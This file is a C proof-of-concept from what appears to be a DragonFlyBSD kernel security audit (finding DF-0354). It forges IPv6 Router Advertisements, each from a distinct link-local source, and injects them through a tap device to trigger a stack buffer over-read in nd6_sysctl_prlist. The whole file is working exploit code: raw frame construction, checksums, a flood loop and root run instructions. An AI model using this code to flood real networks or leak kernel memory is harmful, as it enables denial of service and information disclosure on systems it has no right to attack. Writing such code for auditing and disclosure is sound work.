DragonFlyBSD Kernel Audit
DF-0354 / ra_inject_tap.c
← back to finding ↓ download raw
/*
 * ra_inject_tap.c - inject N forged Router Advertisements by writing
 *                   raw Ethernet frames to /dev/tap0 (kernel calls
 *                   ifp->if_input directly, so the kernel's IPv6 stack
 *                   sees the frames as inbound on tap0).
 *
 * Each RA has a UNIQUE source link-local IPv6 (fe80::N) so the kernel
 * creates a new nd_defrouter entry; all RAs advertise the SAME prefix
 * (2001:db8:1::/64), so each router gets attached to that prefix's
 * pr->ndpr_advrtrs list. Once that list grows past ~33 routers, the
 * buggy nd6_sysctl_prlist SYSCTL_OUT over-reads its 1024-byte stack
 * buffer.
 *
 * Run as root:
 *   ifconfig tap0 create; ifconfig tap0 up; ndp -i tap0 accept_rtadv
 *   ./ra_inject_tap /dev/tap0 <n_routers>
 *
 * This simulates the realistic "remote attacker floods RAs from many
 * sources" precondition; the exploit step (the stack leak itself) is
 * the *unprivileged* sysctl read in ra_read.c.
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

struct nd_opt_prefix_info_local {
    uint8_t  type;
    uint8_t  len;
    uint8_t  prefix_len;
    uint8_t  flags_rsvd;
    uint32_t valid_time;
    uint32_t preferred_time;
    uint32_t reserved2;
    struct in6_addr prefix;
};

static uint16_t cksum(const struct in6_addr *src, const struct in6_addr *dst,
                      const void *data, size_t len)
{
    uint32_t sum = 0;
    const uint16_t *p = (const uint16_t *)data;
    size_t i;
    for (i = 0; i + 1 < len; i += 2)
        sum += ntohs(*p++);
    if (i < len)
        sum += ((uint16_t)(((const uint8_t *)data)[i])) << 8;
    for (i = 0; i < 8; i++) {
        sum += ntohs(src->__u6_addr.__u6_addr16[i]);
        sum += ntohs(dst->__u6_addr.__u6_addr16[i]);
    }
    sum += len;
    sum += IPPROTO_ICMPV6;
    while (sum >> 16)
        sum = (sum & 0xffff) + (sum >> 16);
    return htons(~sum & 0xffff);
}

int main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "/dev/tap0";
    int n = (argc > 2) ? atoi(argv[2]) : 60;
    int fd = open(path, O_RDWR);
    if (fd < 0) { perror("open tap"); return 2; }

    unsigned char pkt[256];
    size_t off = 0;

    /* Ethernet: src MAC varies per router (use a base + i) */
    struct ether_header *eh = (struct ether_header *)pkt;
    /* dst = 33:33:00:00:00:01 (all-nodes v6 multicast) */
    memset(eh->ether_dhost, 0, ETHER_ADDR_LEN);
    eh->ether_dhost[0] = 0x33; eh->ether_dhost[1] = 0x33;
    eh->ether_dhost[5] = 0x01;
    eh->ether_type = htons(ETHERTYPE_IPV6);
    off += sizeof(*eh);

    /* IPv6 */
    struct ip6_hdr *ip6 = (struct ip6_hdr *)(pkt + off);
    ip6->ip6_flow = 0;          /* 4-byte union with vfc — set FIRST */
    ip6->ip6_vfc  = 0x60;       /* then version=6, traffic class=0 */
    ip6->ip6_plen = htons(sizeof(struct nd_router_advert) +
                          sizeof(struct nd_opt_prefix_info_local));
    ip6->ip6_nxt  = IPPROTO_ICMPV6;
    ip6->ip6_hlim = 255;
    inet_pton(AF_INET6, "ff02::1", &ip6->ip6_dst);
    off += sizeof(*ip6);

    /* ICMPv6 RA */
    struct nd_router_advert *ra = (struct nd_router_advert *)(pkt + off);
    ra->nd_ra_type = ND_ROUTER_ADVERT;
    ra->nd_ra_code = 0;
    ra->nd_ra_cksum = 0;
    ra->nd_ra_curhoplimit = 64;
    ra->nd_ra_flags_reserved = 0;
    ra->nd_ra_router_lifetime = htons(1800);
    ra->nd_ra_reachable = htonl(0);
    ra->nd_ra_retransmit = htonl(0);
    off += sizeof(*ra);

    /* Prefix info (one common prefix) */
    struct nd_opt_prefix_info_local *pi =
        (struct nd_opt_prefix_info_local *)(pkt + off);
    pi->type = ND_OPT_PREFIX_INFORMATION;
    pi->len = 4;
    pi->prefix_len = 64;
    pi->flags_rsvd = 0xc0; /* L=1, A=1 */
    pi->valid_time = htonl(1800);
    pi->preferred_time = htonl(1800);
    pi->reserved2 = 0;
    inet_pton(AF_INET6, "2001:db8:1::", &pi->prefix);
    off += sizeof(*pi);

    size_t pktlen = off;
    fprintf(stderr, "pktlen=%zu\n", pktlen);

    int ok = 0;
    char srcstr[64];
    for (int i = 1; i <= n; i++) {
        /* Unique link-local source per router */
        snprintf(srcstr, sizeof(srcstr), "fe80::%x:%x", i + 0xa, i);
        if (inet_pton(AF_INET6, srcstr, &ip6->ip6_src) != 1) {
            fprintf(stderr, "bad src %s\n", srcstr);
            continue;
        }
        /* Vary source MAC too (some kernels dedup by L2 source) */
        memset(eh->ether_shost, 0, ETHER_ADDR_LEN);
        eh->ether_shost[0] = 0x02;
        eh->ether_shost[1] = 0xaa;
        eh->ether_shost[2] = 0xbb;
        eh->ether_shost[3] = (i >> 8) & 0xff;
        eh->ether_shost[4] = i & 0xff;
        eh->ether_shost[5] = 0xcc;

        ra->nd_ra_cksum = 0;
        ra->nd_ra_cksum = cksum(&ip6->ip6_src, &ip6->ip6_dst,
                                ra, sizeof(*ra) + sizeof(*pi));

        ssize_t w = write(fd, pkt, pktlen);
        if (w < 0) {
            if (errno == ENOBUFS || errno == EINTR) {
                usleep(2000);
                continue;
            }
            fprintf(stderr, "write fail i=%d: %s\n", i, strerror(errno));
            continue;
        }
        if ((size_t)w != pktlen)
            fprintf(stderr, "short w i=%d\n", i);
        ok++;
        /* tiny pause to let netisr drain */
        if ((i % 16) == 0)
            usleep(20000);
    }
    fprintf(stderr, "injected %d/%d RAs via %s\n", ok, n, path);
    usleep(150000);
    close(fd);
    return 0;
}